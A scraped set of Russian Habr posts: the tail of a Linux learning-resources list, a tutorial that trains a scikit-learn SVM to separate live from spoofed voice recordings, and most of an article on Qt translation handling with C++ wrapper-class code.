* [wiki.archlinux.org](https://wiki.archlinux.org/) — Вики дистрибутива Арч
* [wiki.gentoo.org/wiki/Main\_Page](https://wiki.gentoo.org/wiki/Main_Page) — Вики дистрибутива Генту
* [codernet.ru/books/linux/Evi\_Nemet\_i\_dr\_Unix\_i\_Linux\_Rukovodstvo\_sistemnogo\_administratora](https://codernet.ru/books/linux/Evi_Nemet_i_dr_Unix_i_Linux_Rukovodstvo_sistemnogo_administratora/) — Unix и Linux руководство системного администратора от Эви Немет
* [codernet.ru/books/linux/komandnaya\_stroka\_linux\_polnoe\_rukovodstvo](https://codernet.ru/books/linux/komandnaya_stroka_linux_polnoe_rukovodstvo/) — Командная строка Linux. Полное руководство. Уильям Шоттс
* [distrowatch.com/images/other/distro-family-tree.png](https://distrowatch.com/images/other/distro-family-tree.png) — “дерево” дистрибутивов (чтобы оценить, насколько далеко зашла страсть к созданию новых дистрибутивов)
На эти книги (курсы) я ссылок не дам, но ищущий да найдет:
RH124: Red Hat System Administration I
RH134: Red Hat System Administration II
RH254: Red Hat System Administration III
RH342: Troubleshooting and Diagnostic
RH442: Performance Tuning
Причем, материалы курсов доступны и на русском языке.
[www.linuxfromscratch.org](https://www.linuxfromscratch.org/) — Собираем свой дистрибутив с нуля. Как водится, у него тоже есть форки, но это отличное пособие для того, чтобы понять, что делают мейнтейнеры дистрибутивов и разобраться в этой “кухне”.
P.S.: я не настоящий Linux админ и никогда им не был, поэтому, если вы найдете какие-то замечания — пишите, всё поправлю. Однако, когда я переходил с Windows на Linux (Ubuntu 12.04) и начинал разрабатывать в нём, мне подобной статьи не хватало.
[](https://cloud.timeweb.com/vds-promo-8-rub?utm_source=habr&utm_medium=blog_1560_476&utm_campaign=habr&utm_content=1560_476) | https://habr.com/ru/post/668344/ | null | ru | null |
# Анализ аудиоданных (часть 3)
### Машинное обучение
В третьей части анализа аудиоданных мы разберем относительно простой и более быстрый способ классификации аудиофайлов - алгоритм машинного обучения - SVM (Support Vector Machines) / машины опорных векторов.
В двух частях анализа аудиоданных мы рассмотрели характеристики, которые есть у каждого аудиосигнала и извлечение значимых характеристик.
Мы получили набор данных, содержащий значимые характеристики аудиоданных (**45 значений**) в машиночитаемом виде - Двухмерная таблица - Dataframes, состоящая из 47 столбцов и **50000 строк**.
[1 часть](https://habr.com/ru/post/668518/)
[2 часть](https://habr.com/ru/post/670676/)
Все признаки (характеристики) важны при анализе аудиоданных, так как описывают физические свойства звука: высоту, громкость, тембр и т. д.
При прохождении воздуха через голосовые связки возникают вибрации, которые в виде упругих волн распространяются в среде. Каждый звук представляет собой набор волн. Это основной тон - волны гендерной идентификации ( у каждого говорящего базовая частота **основного тона** индивидуальна и обусловлена особенностями строения гортани, в среднем для мужского **голоса** она составляет от 80 до 210 Гц, для женского - от 150 до 320 Гц. ). Это волны - **обертоны** ( призвуки, которые выше основного тона) и волны **форманты** (распознавание речи) связанные с уровнем частоты голосового тона, которые образуют тембр звука.
#### Аудиосигнал, как амплитуда ко времени и частоте
Преобразование Фурье разлагает функцию времени (сигнал) на составляющие частоты, которые отображают амплитуду каждой частоты в сигнале. В каждой частоте с помощью признаков (характеристик) анализируем **плотность, мощность сигнала**, **высоту** (зависит от частоты (число звуковых колебаний за 1 сек) низкочастотные, среднечастотные, высокочастотные) **, длительность, громкость (сила звука, которая определяется амплитудой колебаний: чем она больше, тем звук получается громче), тембр (окраска звука), интенсивность , спектральный состав ( волны основного тона, обертоны, форманты)** и **другие физические свойства звука** в определенный промежуток времени.
Все характеристики есть у каждого аудиосигнала. Выбор значимых характеристик зависит от исследователя и той задачи, которую он решает и способа решения.
Для решения своей задачи я использую алгоритм Машинного обучения. У меня в наборе данных - 50000 тысяч аудио записей. И в ручную прослушать записи, просмотреть все характеристики аудиосигнала и найти закономерности просто нереально.
Знание и понимание как выглядит звук и какие признаки (фичи) можно извлечь очень важно для построения модели машинного обучения, чтобы компьютер сам просмотрел **50000** строк и **45 значений в каждой строке** (характеристики, фичи), изучил их, сравнил все характеристики и нашел закономерности и далее смог использовать этот опыт для решения той же проблемы в новых ситуациях, и на новых данных. Это и есть машинное обучение, которое охватывает статистическую часть искусственного интеллекта.
Машинное обучение. классификация#### Что же такое машинное обучение?
Машинное обучение - это область, которая развилась из искусственного интеллекта. Было желание создавать интеллектуальные машины, и оказалось, что существует несколько простых вещей, которые можно запрограммировать - например, как найти кратчайший путь от А до B.
Но в большинстве случаев специалисты просто не знали, как писать программы искусственного интеллекта, выполняющие что-то более интересное, например, веб - поиск, анализ фотографий или выявление спама в электронной почте.
Возникло ощущение, что единственный способ сделать это - это заставить машину научиться этому самостоятельно.
Даже среди специалистов, практикующих машинное обучение (machine learning - ML), нет общепринятого определения что является, а что не является машинным обучением.
**Машинное обучение это область обучения, которая дает компьютерам возможность учиться без явного программирования.**
Вот более современное определение Тома Митчелла (Tom Mitchell, 1998г):
“**Компьютерная программа обучается на основе опыта E по отношению к некоторому классу задач T и меры качества P, если качество решения задач из T, измеренное на основе P, улучшается с приобретением опыта E. ”**
Для примера игра в шашки, опытом E будет опыт, который программа получала, играя десятки тысяч игр против себя. Задачей T - игра в шашки и мерой качества P - вероятность выигрыша в следующей игре против нового оппонента.
#### Типы обучающих алгоритмов
Есть несколько типов обучающих алгоритмов - обучение с учителем (Supervised learning) , обучением без учителя (Unsupervised learning), обучение с подкреплением (reinforcement learning), рекомендательные системы (recommender systems).
**Основные два типа обучающих алгоритмов:**
* **обучение с учителем (Supervised learning)**
* **обучением без учителя (Unsupervised learning)**
В обучении с учителем главная идея заключается в том, мы обучаем компьютер как делать что-то.
Тогда как в обучении без учителя, мы позволяем компьютеру обучаться самостоятельно (алгоритм кластеризации). Алгоритм автоматически обнаруживает структуру в данных и разделяет на типы (классы), которые изначально были не известны.
**Supervised learning - обучение с учителем** (контролируемое обучение)
Этот тип обучения назван обучением с учителем потому, что мы дали алгоритму набор данных, который уже содержит «правильные ответы».
Основной задачей алгоритма обучения с учителем является производство наибольшего числа правильных ответов.
Алгоритм контролируемого обучения подразделяется на задачи **регрессии** и **классификации**.
В задачах **регрессии** мы пытаемся предсказать результаты в рамках непрерывного вывода, что означает, что мы пытаемся сопоставить входные переменные с некоторой непрерывной функцией, прогнозировать значение непрерывной величины (цена, возраст и др. количественные значения).
Например, Учитывая данные о размерах домов спрогнозировать их цену.
Цена как функция от размера домов является непрерывным выходом - поэтому это задача регрессии
задача регрессииВ задачах **классификации** мы пытаемся предсказать результаты на дискретном выходе. Другими словами, мы пытаемся сопоставить входные переменные по дискретным категориям ( 0 или 1 , первый тип, второй тип или третий тип). Классификация пытается узнать связь между набором переменных объектов и целевой переменной, представляющей интерес.
Например, Предсказать - является ли опухоль злокачественной или доброкачественной (используем, например, два признака: возраст пациента и размер опухоли)
задача классификацииКлассификация может использоваться для фильтрации электронной почты, распознавания речи, распознавания рукописного текста, биометрической идентификации, классификации документов и многое другое.
Для некоторых задач недостаточно использовать 3 или 5 признаков, нужно задействовать бесконечное число параметров, чтобы алгоритм мог опираться на множество различных характеристик ( признаков) при составления прогноза.
Cуществует алгоритм, который называется «метод опорных векторов» (Support Vector Machine, SVM), который позволяет компьютеру использовать бесконечное число признаков.
#### Типы (модели) алгоритмов классификации
Существует множество типов алгоритмов классификации.
Популярные типы алгоритмов классификации#### SVM (Support Vector Machines) / машины опорных векторов
Support Vector Machine - это контролируемый алгоритм - обучение с учителем (Supervised learning), который может классифицировать случаи путем поиска разделителя.
SVM также называется большим классификатором поля. SVM функционирует как большой классификатор полей, который пытается отделить положительные и отрицательные примеры с максимально большим запасом.
SVM работает путем первого сопоставления данных с пространством пространственных объектов с высокой размерностью, так что точки данных могут быть классифицированы, даже если данные не могут быть линейно разделены. Затем вычисляется разделитель для данных.
Две категории могут быть разделены кривой, но не линией.
Две категории могут быть разделены кривой, но не линией Мы можем перенести эти данные в более пространственное пространство, например, сопоставив их с трехмерным пространством.
Данные в трехмерном пространствеПосле преобразования граница между двумя категориями может быть определена гиперплоскостью. Так как мы сейчас находимся в трехмерном пространстве, разделитель отображается как плоскость.
разделитель отображается как плоскостьЭта плоскость может использоваться для классификации новых или неизвестных случаев. Поэтому алгоритм SVM выводит оптимальную гиперплоскость, которая классифицирует новые примеры.
Теперь нужно рассмотреть два вопроса:
Во-первых, как мы передаем данные таким образом, чтобы разделитель мог быть нарисован как гиперплоскость?
И во-вторых, как мы можем найти лучший или оптимизированный разделитель гиперплоскости после преобразования?
#### Преобразование данных
Давайте сначала рассмотрим преобразование данных, чтобы увидеть, как это работает. Для простоты представьте себе, что наш набор данных - это одномерные данные.
одномерные данныеЭто означает, что у нас есть только одна функция x. Как вы можете видеть, она не линейно разделена. Так что мы можем здесь сделать?
Мы можем перенести его в двумерное пространство. Обратите внимание, что, поскольку мы находимся в двумерном пространстве, гиперплоскость представляет собой линию, разделяющую плоскость на две части, где каждый класс лежит на обеих сторонах.
гиперплоскость представляет собой линию, разделяющую плоскость на две частиОтображение данных в более высоком пространственном пространстве называется, **кернелингом**.
Математическая функция, используемая **для преобразования** , известна как функция ядра и может быть различных типов, таких как **линейная, полиномиальная, радиальная базисная функция ( RBF) и сигмоид.**
Каждая из этих функций имеет свои характеристики, свои плюсы и минусы, а также свое уравнение ( большинство из них уже реализованы в библиотеках языков программирования данных). Кроме того, поскольку нет простого способа узнать, какая функция лучше всего работает с любым набором данных, обычно выбирают разные функции и сравнивают результаты.
#### Как найти правильный или оптимизированный разделитель после преобразования?
Один разумный выбор в качестве лучшей гиперплоскости является тот, который представляет наибольшее разделение или поле между двумя классами. Таким образом, цель состоит в том, чтобы выбрать гиперплоскость с как можно большим запасом.
Данные, ближайшими к гиперплоскости, являются векторы поддержки.
Правильный или оптимизированный разделительДля достижения цели важны только векторы поддержки. И нужно найти гиперплоскость таким образом, чтобы она имела максимальное расстояние для поддержки векторов. Гиперплоскость извлекается из обучающих данных с помощью процедуры оптимизации, которая максимизирует маржу. И, как и многие другие проблемы, эта оптимизационная задача также может быть решена с помощью градиентного спуска.
#### Основные библиотеки для машинного обучения
В Python уже реализовано множество модулей и библиотек для машинного обучения.
Библиотеки Python представляют собой набор функций и методов, которые позволяют выполнять множество действий без написания кода.
Основные библиотеки для машинного обучения.**Библиотека Pandas** - это очень высокоуровневая библиотека Python , которая обеспечивает высокую производительность простых в использовании структур данных. Он имеет множество функций для импорта данных, эффективной обработки и анализа данных.
В частности, он предлагает структуры данных и операции для манипулирования числовыми таблицами (двухмерные таблицы - Dataframes)
**NumPy**, который является математической библиотекой для работы с N-мерными массивами в Python. Это позволяет выполнять вычисления эффективно и быстро. Быстрая обработка массива данных.
**SciPy** - это набор числовых алгоритмов и наборов инструментов для конкретных областей, включая обработку сигналов, оптимизацию, статистику и многое другое.
**Matplotlib** - это библиотека для визуализации данных
**SciKit Learn** - это набор алгоритмов и инструментов для машинного обучения. SciKit Learn имеет большинство алгоритмов классификации, регрессии и кластеризации, и он предназначен для работы с числовыми и научными библиотеками Python: NumPy и SciPy. Реализация моделей машинного обучения с помощью SciKit Learn очень проста с несколькими строками кода Python.
Большинство задач, которые необходимо выполнить в процессе машинного обучения, уже реализованы в Scikit Learn, включая предварительную обработку данных, выбор объектов, извлечение объектов, Стандартизации набора данных, Разделение набора данных на тренировочные и тестовые наборы (train/test split), модели алгоритмов, модели установки, параметры настройки, прогнозирование, оценку (метрики для оценки точности модели), и экспорт модели (сохранение модели).
**SciKit Learn** сначала нужно установить. В терминале прописываем:
```
pip install scikit-learn
```
Для анализа необходимо импортировать библиотеки Python и загрузить данные.
```
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
import librosa
import os
import pathlib
import pylab as pl
import scipy.optimize as opt
from sklearn import preprocessing
from sklearn.model_selection import train_test_split
import csv
```
Для загрузки используется метод Pandas read.csv(). В скобках указывается путь к файлу в кавычках, чтобы Pandas считывал файл во фрейм данных (Dataframes - df) с этого адреса. Путь к файлу может быть URL адрес или вашим локальным адресом файла.
```
data = pd.read_csv('../input/datatrain/dataset.csv')
data
```
Двухмерная таблица - Dataframes, состоящая из 47столбцов и 50000 строк.Мы получили набор данных, содержащий значимые характеристики аудиоданных (**45 значений**) в машиночитаемом виде - Двухмерная таблица - Dataframes, состоящая из 47столбцов и **50000 строк**.
**Разделим наши данные на зависимую (целевую) - (у) переменную и независимые -(х) переменные.**
Классификация пытается узнать связь между набором переменных характеристик (х) и целевой переменной (у)
Целевой атрибут в классификации является категориальной переменной в колонке 'label' - это метка (правильный ответ). Учитывая набор обучающих точек данных вместе с целевыми метками, классификация определяет метку класса для немаркированного тестового случая.
Цель прогноза классификация “живого” голоса (human) и его отделению от синтетического/конвертированного/перезаписанного голоса (spoof).
Классификация заключается в использовании существующих данных, которые имеют информацию об аудиосигнале - значимые характеристики аудиоданных (**45 значений)**, для создания классификатора, который смог бы использовать этот опыт для решения той же проблемы в новых ситуациях, и на новых данных, а затем и маркировки новых данных.
Метод - value\_counts(). Подсчет значений - это хороший способ понять, сколько единиц каждой характеристики / переменной у нас есть.
**Посмотрим на подсчет значений в колонке 'label'.**
```
data['label'].value_counts()
```
 подсчет значений в колонке 'label' **y - зависимая (целевая) переменная** это колонка 'label' в нашем наборе данных
y - зависимая (целевая) переменная это колонка 'label'(последняя) Чтобы использовать библиотеку scikit-learn, нам нужно преобразовать Dataframes (фрейм данных) Pandas в массив Numpy.
```
y = data['label'].values
y[0:5]
```
array(['human', 'human', 'human', 'human', 'human'], dtype=object)
**Посмотрим на название колонок в наборе данных**:
```
data.columns
```
название колонок в наборе данных**X - независимые переменные.** Это значимые характеристики аудиоданных (**45 значений)**
```
X = data[['mfcc_mean1', 'mfcc_mean2', 'mfcc_mean3', 'mfcc_mean4',
'mfcc_mean5', 'mfcc_mean6', 'mfcc_mean7', 'mfcc_mean8', 'mfcc_mean9',
'mfcc_mean10', 'mfcc_mean11', 'mfcc_mean12', 'mfcc_mean13',
'mfcc_mean14', 'mfcc_mean15', 'mfcc_mean16', 'mfcc_mean17',
'mfcc_mean18', 'mfcc_mean19', 'mfcc_mean20', 'mfcc_std1', 'mfcc_std2',
'mfcc_std3', 'mfcc_std4', 'mfcc_std5', 'mfcc_std6', 'mfcc_std7',
'mfcc_std8', 'mfcc_std9', 'mfcc_std10', 'mfcc_std11', 'mfcc_std12',
'mfcc_std13', 'mfcc_std14', 'mfcc_std15', 'mfcc_std16', 'mfcc_std17',
'mfcc_std18', 'mfcc_std19', 'mfcc_std20', 'cent_mean', 'cent_std',
'cent_skew', 'rolloff_mean', 'rolloff_std']]
X[0:5]
```
X - независимые переменные. Это значимые характеристики аудиоданных (45 значений).X также нужно преобразовать Dataframes (фрейм данных) Pandas в массив Numpy.
#### Стандартизации набора данных
Если в наборе данных есть некоторые выбросы или значения переменных находятся в разных диапазонах, необходимо исправить их.
Стандартизация данных дает нулевое среднее значение и единичную дисперсию,
Пакет предварительной обработки SciKit Learn предоставляет несколько общих служебных функций и классов трансформаторов для изменения необработанных векторных объектов в подходящую форму вектора для моделирования.
```
from sklearn import preprocessing
X= preprocessing.StandardScaler().fit(X).transform(X)
X[0:2]
```
Стандартизации набора данных**Разделение набора данных на тренировочные и тестовые наборы (train/test split) и настройка алгоритма.**
Точность вне выборки - это процент правильных прогнозов, которые модель делает для данных, на которых **НЕ была** обучена модель. Выполнение обучения и тестирования одного и того же набора данных, скорее всего, будет иметь низкую точность вне выборки из-за вероятности переобучения нашей модели.
Важно, чтобы наши модели имели высокую точность вне выборки, потому что цель любой модели, конечно, состоит в том, чтобы делать правильные прогнозы на неизвестных данных. Итак, как мы можем улучшить точность вне выборки? Один из способов - использовать метод оценки, называемый разделением train/test split.
Разделение на обучение / тестирование включает в себя разделение набора данных на обучающий и тестовый наборы соответственно, которые являются взаимоисключающими. После этого тренируем с обучающим набором (**train)** и тестируем с помощью набора для тестирования (**test)**.
Это обеспечит более точную оценку точности вне выборки, поскольку набор данных тестирования (**test)** не является частью набора данных, который использовался для обучения модели (**train).**
Для анализа необходимо разделить набор данных на тренировочные и тестовые наборы (train/test split).
**test\_size** представляет собой соотношение тестового набора данных, а **random\_state** гарантирует, что мы получим те же разбиения.
Для преобразования данных в более высоком пространственном пространстве используется Математическая функция, известная, как функция ядра - RBF (радиальная базисная функция)
#### Размер тренировочных и тестовых наборов (количество строк, колонок)
**Прогнозирование новых значений в тестовом наборе после обучения на тренировочном наборе.**
```
from sklearn.model_selection import train_test_split
# Разделение набора данных на тренировочные и тестовые наборы (train/test split)
X_train, X_test, y_train, y_test = train_test_split( X, y, test_size=0.2,
random_state=17)
# размер тренировочных и тестовых наборов (количество строк, колонок):
print ('Train set:', X_train.shape, y_train.shape)
print ('Test set:', X_test.shape, y_test.shape)
from sklearn import svm
clf = svm.SVC(kernel='rbf') # функция ядра - RBF (радиальная базисная функция)
clf.fit(X_train, y_train) # Обучение модели на тренировочном наборе
yhat = clf.predict(X_test) # для прогнозирования новых значений:
yhat [0:10]
```
размер тренировочных и тестовых наборов (количество строк, колонок)
прогнозирование новых значений в тестовом наборе после обучения на тренировочном наборе.**Сравнение реальных значений и новых значений (после прогнозирования)** - визуально сравнить прогнозы с фактическими значениями.
```
print("Prediction:", yhat[0:20])
print("Real Value:", y_test[0:20])
```
Сравнение реальных значений и новых значений (после прогнозирования)#### Метрики для оценки точности модели
Показатели оценки объясняют эффективность модели. Мы обучили модель, и теперь хотим рассчитать ее точность с помощью тестового набора.
Импортируем метрики из sklearn и проверим точность нашей модели. В основном, мы сравниваем фактические значения в тестовом наборе со значениями, предсказанными моделью, чтобы рассчитать точность модели. Существуют различные метрики оценки моделей
**Accuracy** - оценка классификации точности - это функция, которая вычисляет точность подмножества, долю правильных ответов алгоритма. По сути, он вычисляет, насколько точно совпадают фактические и прогнозируемые метки в тестовом наборе.
Если весь набор предсказанных меток для выборки строго соответствует истинному набору меток, то точность подмножества равна 1,0 , в противном случае 0,0.
```
# accuracy evaluation
from sklearn import metrics
print("Train set Accuracy: ", metrics.accuracy_score(y_train, clf.predict(X_train)))
print("Test set Accuracy: ",metrics.accuracy_score(y_test, yhat) )
```
Accuracy#### F1 score - Сonfusion matrix (матрица путаницы, матрица ошибок)
Другой способ проверить точность классификатора - это посмотреть на матрицу неточностей.
Эта матрица показывает корректные и неправильные прогнозы по сравнению с фактическими метками.
Каждая строка матрицы путаницы показывает метки Actual/True в тестовом наборе, а столбцы показывают прогнозируемые метки по классификатору. Мы можем интерпретировать эти числа как количество истинных положительных, ложных отрицательных, истинных отрицательных и ложных срабатываний. Матрица путаницы показывает способность модели правильно предсказать или разделить классы.
Это таблица с 4 различными комбинациями прогнозируемых и фактических значений.
F1 score - Сonfusion matrix (матрица путаницы, матрица ошибок)Основываясь на количестве в каждой секции, мы можем рассчитать **precision** (точность) и Recall (отзывчивость) каждой метки:
**Precision** (Точность) - это мера точности при условии, что метка класса была предсказана. Он определяется как:
precisionRecall (Отзыв) - это истинно положительный показатель. Это определяется как: Recall (Отзыв) = TP / (TP + FN)
Итак, мы можем вычислить P**recision (** точность) и Recall (отзыв) каждого класса.
**F1 score**: Теперь мы можем рассчитать оценки F1 для каждой метки на основе P**recision** и **Recall** этой метки.
**F1 score** представляет собой гармоническое среднее значение Precision (точности) и Recall (отзывчивости), где F1 score (оценка F1) достигает своего лучшего значения при 1 (идеальная точность и отзывчивость) и худшего при 0.
F1 scoreЭто хороший способ показать, что классификатор имеет хорошее значение для **Recall (отзыв) и Precision** (точность).
Наконец, мы можем сказать, что средняя Accuracy (точность) для этого классификатора - это средний балл F1 для обеих меток,
```
from sklearn.metrics import classification_report,confusion_matrix
print('CONFUSION_MATRIX :\n')
print(confusion_matrix(y_test,yhat))
print('\n')
print('REPORT :\n')
print(classification_report(y_test,yhat))
```
F1 score - Сonfusion matrix Мы построили модель машинного обучения - **SVM (Support Vector Machines) / машины опорных векторов.**
Мы дали алгоритму набор данных, который уже содержит «правильные ответы» - это информацию об аудиосигнале - значимые характеристики аудиоданных (**45 значений).** Провели Стандартизацию набора данных, Разделили набор данных на тренировочные и тестовые наборы (train/test split), Обучили модель на train наборе и протестировали на test наборе, Сравнили прогнозы с фактическими значениями и рассчитали точность модели.
Показатели оценки 0.97 - объясняют эффективность модели, чтобы делать правильные прогнозы на неизвестных, новых данных.
SVM воспринимается как один из самых мощных алгоритмов обучения **сложных нелинейных функции,** очень широко используется как в промышленности, так и в академических кругах. И по сравнению с логистической регрессией и нейронными сетями , **Support Vector Machine иногда дает более чистый, а иногда более мощный способ обучения сложным нелинейным функциям** - просто делает предсказание того, что y = 1 или y = 0, напрямую.
Многие ученые полагают, что лучшим способом достижения прогресса в анализе аудиоданных является алгоритм - нейронные сети, который имитируют работу человеческого мозга. Бесспорно, нейронные сети уже доказали свою эффективность!
Но тренировка нейронной сети – долгий и сложный процесс. После нескольких сотен тысяч проб и ошибок - диапазон для нахождения правильного ответа у нейронной сети будет скорректирован. Весы для распознавания верного ответа будут настроены и в дальнейшем при её использовании она будет верно давать правильные прогнозы.
Иногда, **для ускорения алгоритмов обучения используется SVM вместе с нейронными сетями.** | https://habr.com/ru/post/672094/ | null | ru | null |
# Неудобства при работе с переводами в Qt и способы борьбы с ними
В этой статье я хотел бы рассказать о некоторых неудобствах, с которыми столкнулся при работе с системой переводов в Qt, а также поделиться способами борьбы с этими неудобствами.
Для начала кратко напомню о том, как работает система переводов в Qt.
Прежде всего, разработчик при написании кода обёртывает строку, которая должна быть переведена на различные языки, в одну из специальных функций:
```
tr("Push me", "button text"); //Второй параметр - комментарий.
QCoreApplication::translate("console", "Enter a number"); //Первый параметр - контекст.
```
Далее в файле проекта указываются файлы, в которых переводчик будет осуществлять, собственно, сам перевод:
```
TRANSLATIONS += translations/myapp_ru.ts //Файлов может быть больше в зависимости от количества целевых языков.
```
Затем запускается утилита *lupdate*, создающая (или обновляющая) исходные файлы переводов (обычные XML-файлы), после чего переводчик может работать с ними при помощи специального инструмента — Qt Linguist. Строки, обёрнутые в функции *tr* и *translate*, будут обработаны утилитой и добавлены в .ts-файлы.
Наконец, когда все строки переведены, запускается утилита *lrelease*, превращающая исходные файлы переводов (.ts) в файлы .qm, имеющие специальный бинарный формат. Теперь остается только добавить в приложение следующий код:
```
QTranslator *t = new QTranslator;
t->load("/path/to/translations/myapp_ru.qm");
QApplication::installTranslator(t);
```
Всё, наши строки будут отображаться на нужном языке.
#### Неудобство 1: хранение переводов
Итак, хорошо, мы перевели строку, при запуске приложения загрузили файл перевода, в нашем текстовом поле (или где-то ещё) появился текст на нужном языке. Действительно, в таком тривиальном случае большего и не нужно. Однако, рассмотрим следующий пример. Допустим, у нас есть консольное приложение, где реализована обработка вводимых пользователем команд. Новые команды могут быть добавлены посредством установки функции-обработчика, например, вот так:
```
typedef bool (*HandlerFunction)(const QStringList &arguments);
QMap handlerMap;
void installHandler(const QString &command, HandlerFunction f)
{
handlerMap.insert(command, f);
}
```
Всё отлично, но неплохо было бы при вводе, скажем «help *command*» выдавать справку по соответствующей команде *command*. Сделаем:
```
QMap helpMap;
void installHelp(const QString &command, const QString &help)
{
helpMap.insert(command, help);
}
```
Чувствуете подвох? Да, сначала всё будет хорошо:
```
installHelp("mycommand", tr("Does some cool stuff"));
```
Если QTranslator был установлен заранее, то мы получим переведенную строку. Но что, если пользователь решит сменить язык (иными словами, будет загружен другой файл переводов)? Строка останется прежней.
У этой проблемы есть несколько решений. Я приведу несколько, в том числе то, которое видится мне наиболее естественным и удобным.
##### Решение 1: фабрика
Можно заменить строку на функцию-фабрику, которая будет возвращать строку:
```
typedef QString(*HelpFactoryFunction)(void);
QMap helpMap;
void installHelp(const QString &command, HelpFactoryFunction f)
{
helpMap.insert(command, f);
}
```
Фабричная функция и её применение могут выглядеть следующим образом:
```
QString myHelpFactory()
{
return tr("Does some cool stuff");
}
installHelp("mycommand", &myHelpFactory);
```
Решает ли это проблему? Да, перевод будет осуществляться каждый раз при вызове справки, таким образом, при смене языка справка будет показана переведенной на этот новый язык. Красивое ли это решение? Каждый считает по-своему, я же считаю, что нет.
##### Решение 2: QT\_TRANSLATE\_NOOP3
В заголовочном файле есть такой макрос — [QT\_TRANSLATE\_NOOP3](http://doc.qt.io/qt-5/qtglobal.html#QT_TRANSLATE_NOOP3). Он помечает обёрнутую в него строку к переводу и возвращает анонимную структуру (struct), содержащую эту строку (в непереведённом виде), а также комментарий. В дальнейшем созданную структуру можно использовать в функциях *tr* и *translate*.
Надо ли говорить, что код получается громоздким и уродливым? Думаю, не надо. Кроме того, возникают сложности с передачей такой структуры в качестве параметра функции. Код:
```
typedef struct { const char *source; const char *comment; } TranslateNoop3;
QMap helpMap;
void installHelp(const QString &command, const TranslateNoop3 &t)
{
helpMap.insert(command, t);
}
```
Использование:
```
installHelp("mycommand", QT_TRANSLATE_NOOP3("context", "Does some cool stuff", "help"));
```
О том, что для перевода без комментария используется другой макрос (и другая структура) — [QT\_TRANSLATE\_NOOP](http://doc.qt.io/qt-5/qtglobal.html#QT_TRANSLATE_NOOP) — я уж и вовсе молчу. А ведь пришлось бы городить перегрузку *installHelp* и превращать одну структуру в другую. Отвратительно. Оставим это на совести разработчиков Qt.
##### Решение 3: самописный класс-обертка
В каком-то смысле моё решение является усовершенствованным вариантом *QT\_TRANSLATE\_NOOP3*. Предлагаю сразу взглянуть на код:
**translation.h**
```
class Translation
{
private:
QString context;
QString disambiguation;
int n;
QString sourceText;
public:
explicit Translation();
Translation(const Translation &other);
public:
static Translation translate(const char *context, const char *sourceText, const char *disambiguation = 0, int n = -1);
public:
QString translate() const;
public:
Translation &operator =(const Translation &other);
operator QString() const;
operator QVariant() const;
public:
friend QDataStream &operator <<(QDataStream &stream, const Translation &t);
friend QDataStream &operator >>(QDataStream &stream, Translation &t);
};
Q_DECLARE_METATYPE(Translation)
```
**translation.cpp**
```
Translation::Translation()
{
n = -1;
}
Translation::Translation(const Translation &other)
{
*this = other;
}
Translation Translation::translate(const char *context, const char *sourceText, const char *disambiguation, int n)
{
if (n < 0)
n = -1;
Translation t;
t.context = context;
t.sourceText = sourceText;
t.disambiguation = disambiguation;
t.n = n;
return t;
}
QString Translation::translate() const
{
return QCoreApplication::translate(context.toUtf8().constData(), sourceText.toUtf8().constData(),
disambiguation.toUtf8().constData(), n);
}
Translation &Translation::operator =(const Translation &other)
{
context = other.context;
sourceText = other.sourceText;
disambiguation = other.disambiguation;
n = other.n;
return *this;
}
Translation::operator QString() const
{
return translate();
}
Translation::operator QVariant() const
{
return QVariant::fromValue(*this);
}
QDataStream &operator <<(QDataStream &stream, const Translation &t)
{
QVariantMap m;
m.insert("context", t.context);
m.insert("source_text", t.sourceText);
m.insert("disambiguation", t.disambiguation);
m.insert("n", t.n);
stream << m;
return stream;
}
QDataStream &operator >>(QDataStream &stream, Translation &t)
{
QVariantMap m;
stream >> m;
t.context = m.value("context").toString();
t.sourceText = m.value("source_text").toString();
t.disambiguation = m.value("disambiguation").toString();
t.n = m.value("n", -1).toInt();
return stream;
}
```
Я воспользовался интересным свойством *lupdate*: не важно, в каком пространстве имён находится функция *translate*, главное, чтобы она имела в точности такое имя, а также чтобы порядок аргументов и их тип были как в *QCoreApplication::translate*. В этом случае строки, обёрнутые в любую функцию *translate*, будут помечены к переводу и добавлены в .ts-файл.
Дальше дело остается за малым: реализуем свой статический метод *translate* так, чтобы он создавал экземпляр класса *Translation*, который по сути является более удобным аналогом анонимной структуры, которую возвращает *QT\_TRANSLATE\_NOOP3*. Добавляем также еще один метод *translate*, но уже не статический. Он просто вызывает внутри *QCoreApplication::translate*, передавая в качестве параметров контекст, исходную строку и комментарий, которые были указаны при вызове статического метода *Translation::translate*. Добавляем методы для копирования и (де)сериализации, и получаем удобный контейнер для хранения переводов. Не буду описывать остальные методы класса, так как они не имеют непосредственного отношения к решаемой задаче и тривиальны для разработчиков, знакомых с C++ и Qt, для которых и предназначена данная статья.
Вот как выглядел бы пример со справкой с использованием *Translation*:
```
QMap helpMap;
void installHelp(const QString &command, const Translation &help)
{
helpMap.insert(command, help);
}
installHelp("mycommand", Translation::translate("context", "Do some cool stuff"));
```
Выглядит естественней, чем фабрика, и красивее, чем *QT\_TRANSLATE\_NOOP3*, не правда ли?
#### Неудобство 2: перевод без наследования
Второе неудобство, с которым я столкнулся в Qt — невозможность динамического перевода интерфейса без наследования хотя бы одного класса. Рассмотрим сразу пример:
```
int main(int argc, char **argv)
{
QApplication app(argc, argv);
QTranslator *t = new QTranslator;
t->load("/path/to/translations/myapp_ru.qm");
QApplication::installTranslator(t);
QWidget *w = new QWidget;
w->setWindowTitle(QApplication::translate("main", "Cool widget"));
w->show();
LanguageSettingsWidget *lw = new LanguageSettingsWidget;
lw->show();
int ret = app.exec();
delete w;
return ret;
}
```
Как видно из примера, мы загружаем файл перевода, создаём *QWidget* и устанавливаем его название. Но вдруг пользователь решил воспользоваться *LanguageSettingsWidget* и выбрал другой язык. Название *QWidget* должно поменяться, но для этого нам нужно предпринять какие-то дополнительные действия. Опять же, есть несколько вариантов.
##### Решение 1: наследование
Можно отнаследоваться от *QWidget* и переопределить один из виртуальных методов:
```
class MyWidget : public QWidget
{
protected:
void changeEvent(QEvent *e)
{
if (e->type() != QEvent::LanguageChange)
return;
setWindowTitle(tr("Cool widget"));
}
};
```
В таком случае при установке нового *QTranslator* будет вызван метод *changeEvent*, и, в нашем случае, *setWindowTitle*. Просто? Достаточно. Удобно? Я считаю, что не всегда (в частности, когда исключительно ради переводов приходится городить такой огород).
##### Решение 2: перевод извне
Также можно передать указатель на данный класс в другой класс, который уже унаследован от *QWidget*, и там вызывать соответствующий метод. Код приводить не буду — он очевиден и мало отличается от предыдущего примера. Скажу лишь, что это однозначно плохой способ — чем меньше классы знают друг о друге, тем лучше.
